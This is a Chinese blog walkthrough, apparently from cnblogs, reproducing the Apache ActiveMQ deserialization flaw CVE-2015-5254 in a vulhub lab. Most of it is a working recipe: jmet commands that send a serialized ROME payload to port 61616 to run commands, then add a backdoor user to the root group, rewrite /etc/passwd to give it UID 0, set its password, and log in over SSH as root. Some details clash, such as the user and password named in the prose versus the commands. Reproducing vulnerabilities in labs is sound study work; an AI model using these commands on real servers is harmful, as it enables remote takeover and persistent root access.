zoukankan      html  css  js  c++  java
  • (CVE-2015-5254)ActiveMQ 反序列化漏洞复现

    漏洞描述

    Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。Apache ActiveMQ 5.13.0之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java 消息服务(JMS)ObjectMessage 对象利用该漏洞执行任意代码。

    漏洞影响版本
    Apache ActiveMQ 5.13.0 之前的版本

    漏洞环境

    kali :192.168.18.151

    命令执行操作
    1. 打开vulhub漏洞环境(CVE-2015-5254)

      环境运行后,将监听 61616 和 8161 两个端口其中 61616 是工作端口,消息在这个端口进行传递;8161 是网络管理页面端口访问 http://your-ip:8161 即可看到网络管理页面

    2. 访问192.168.18.151:8161,登录账户、默认密码(admin、admin)

    3. 使用 jmet 进行漏洞利用,下载 jmet 的 jar 文件,并在同目录下创建一个 external 文件夹。

      wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
      
      mkdir external
      (可以用linux也可以用windows下载,随自己)
      

    4. 执行命令

      java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.18.151 61616
      

      查看目标的 ActiveMQ 管理页面,发现添加了一个队列。

    5. 点击查看消息即可触发命令执行

      此时进入容器,可以发现tmp文件夹已被创建

      docker exec -it 81f86bcb730d /bin/bash
      ls
      
    添加用户操作
    1. 执行 jmet 的命令添加 dmy 用户并将其添加到 root 组,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它:

      java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 dmy" -Yp ROME 192.168.110.134 61616
      
    2. 让我们再将 passwd 中的 test 的 uid 修改为 0,使它拥有 root 权限,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它

      java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "sed -i  "s/dmy:x10010/dmy:x0/g" /etc/passwd" -Yp ROME 192.168.110.134 61616
      
    3. 让我们再为 test 用户设置一个密码,返回192.168.110.134:8161/admin/browse.jsp?JMSDestination=event 页面,点击一下消息,触发它

      java -jar jmet-0.1.0-all.jar.1 -Q event -I ActiveMQ -s -Y "echo "dmy:sd123456" | chpasswd" -Yp ROME 192.168.110.134 61616
      

      到此为止,一个权限为 root,密码为 123456 的用户即创建完毕。我们可以使用 ssh直接远程登陆进入操作系统,并且还是最高权限。

      cat /etc/passwd 查看用户权限

    参考链接

    https://www.cnblogs.com/backlion/p/9970516.html

    https://www.cnblogs.com/zztac/p/11869195.html

  • 相关阅读:
    Shiro配置文件ini详解
    Shiro配置文件ini详解
    [转]shiro基础教程
    [转]shiro基础教程
    arguments.callee的作用
    [转] C# WPF Unable to add event handler
    [转] C# WPF Unable to add event handler
    springmvcajax json对象 用Map接受
    springmvcajax json对象 用Map接受
    json 对象字符串相互转化, js中
  • 原文地址:https://www.cnblogs.com/kbhome/p/13210461.html
Copyright © 2011-2022 走看看